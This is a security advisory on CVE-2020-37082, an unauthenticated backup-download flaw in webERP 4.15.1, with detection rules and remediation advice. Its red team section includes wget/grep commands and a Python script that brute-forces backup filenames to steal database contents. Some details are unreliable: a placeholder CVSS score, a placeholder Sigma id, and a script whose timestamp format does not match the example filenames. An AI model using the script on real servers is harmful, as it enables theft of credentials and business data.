CVE-2020-37082

Executive Summary

CVE-2020-37082 is a critical unauthenticated file access vulnerability in webERP 4.15.1. The flaw allows remote attackers to download database backup files without any authentication by directly requesting files in the companies/weberp/ directory with a predictable naming pattern (Backup_[timestamp].sql.gz). This exposes sensitive database contents, including user credentials, financial data, and business records. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the ease of exploitation and potential data breach impact. No official patch has been released, and the vendor status is unknown.

Supply Chain & Package Security

webERP is a PHP-based ERP application. This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw. The risk is amplified if webERP is deployed in production environments without additional access controls.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full database backup exposed.
• Integrity (I): None (N) – No modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and exposes sensitive data.

Deep Dive & Mechanics

webERP 4.15.1 includes a feature to generate database backup files. These files are stored in the companies/weberp/ directory with a filename pattern Backup_[timestamp].sql.gz. The application does not enforce any authentication or access control checks when serving these files via HTTP. An attacker can enumerate or guess timestamps to download backup files.

The root cause is a missing access control check in the web server configuration or application logic. The backup files are placed in a publicly accessible directory without any .htaccess or equivalent protection. The timestamp in the filename is predictable if the attacker knows the approximate time of backup generation, or they can brute-force timestamps.

Vulnerable vs. Patched Code

Vulnerable Code (webERP 4.15.1): The backup files are stored in companies/weberp/ and served directly by the web server without authentication. No code snippet is available, but the behavior is that any HTTP request to /companies/weberp/Backup_*.sql.gz returns the file.

Patched Code: No official patch exists. A hypothetical fix would involve:

1. Moving backup files outside the web root.
2. Implementing authentication checks before serving backup files.
3. Using random, non-predictable filenames.
4. Restricting access via .htaccess or web server configuration.

Example .htaccess fix:

<FilesMatch "\.sql\.gz$">
    Require all denied
</FilesMatch>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running webERP 4.15.1.
• Network access to the web server.

Exploitation Steps:

1. Identify the webERP base URL (e.g., http://target.com/weberp/).
2. Enumerate backup files by guessing timestamps or using directory listing if enabled.
3. Download the backup file:

   wget http://target.com/weberp/companies/weberp/Backup_20201201_120000.sql.gz
   

4. Decompress and extract database contents:

   gunzip Backup_20201201_120000.sql.gz
   grep -i "password" Backup_20201201_120000.sql
   

Automated Exploit (Python):

import requests
import time

base_url = "http://target.com/weberp/companies/weberp/"
# Brute-force timestamps (example: last 24 hours)
for timestamp in range(int(time.time()) - 86400, int(time.time())):
    filename = f"Backup_{timestamp}.sql.gz"
    url = base_url + filename
    r = requests.get(url)
    if r.status_code == 200:
        with open(filename, "wb") as f:
            f.write(r.content)
        print(f"Downloaded: {filename}")
        break

Blue Team

Detection:

• Monitor web server logs for requests to /companies/weberp/Backup_*.sql.gz.
• Alert on multiple failed attempts (404s) followed by a successful download (200).
• Use file integrity monitoring to detect unauthorized access to backup files.

Mitigation:

• Immediately move backup files outside the web root.
• Implement authentication for backup download endpoints.
• Restrict access via web server configuration (e.g., deny all .sql.gz files).
• Use a Web Application Firewall (WAF) to block requests matching the pattern.

Indicators of Compromise (IOCs)

• File Paths: /companies/weberp/Backup_*.sql.gz
• HTTP Requests: GET requests to /weberp/companies/weberp/Backup_*.sql.gz
• Network Traffic: Outbound connections from attacker IP to target server on port 80/443.
• Log Entries: Apache/Nginx access logs showing 200 status for backup file requests.
• File Hashes: MD5/SHA1 of downloaded backup files (unique per backup).

Detection Engineering

YARA Rule

rule webERP_Backup_Exposure {
    meta:
        description = "Detects webERP backup file exposure"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2020-37082"
    strings:
        $backup_pattern = "Backup_" ascii wide
        $sql_gz = ".sql.gz" ascii wide
    condition:
        $backup_pattern and $sql_gz
}

Sigma Rule

title: webERP Backup File Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to webERP backup files
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem|contains: 
            - '/companies/weberp/Backup_'
            - '.sql.gz'
    condition: selection
falsepositives:
    - Legitimate backup downloads by admins (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2020-37082 webERP Backup File Access";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/companies/weberp/Backup_"; http_uri;
    content:".sql.gz"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Move backup files outside the web root (e.g., /var/backups/weberp/).
   • Restrict access to the companies/weberp/ directory via .htaccess or web server config.
   • Change backup file naming to include random tokens (e.g., Backup_[random].sql.gz).

2. Long-term Fix:

   • Implement authentication for backup download functionality.
   • Apply principle of least privilege to file storage.
   • Monitor for similar vulnerabilities in webERP or consider migrating to a supported ERP solution.

3. Detection:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable logging and alerting on backup file access patterns.

4. Vendor Communication:

   • Since the vendor status is unknown, consider forking the project or applying custom patches.

Valters IT
Securing Digital Frontiers